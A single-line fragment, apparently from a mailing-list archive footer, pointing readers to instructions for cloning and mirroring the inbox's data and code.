for how to clone and mirror all data and code used for this inbox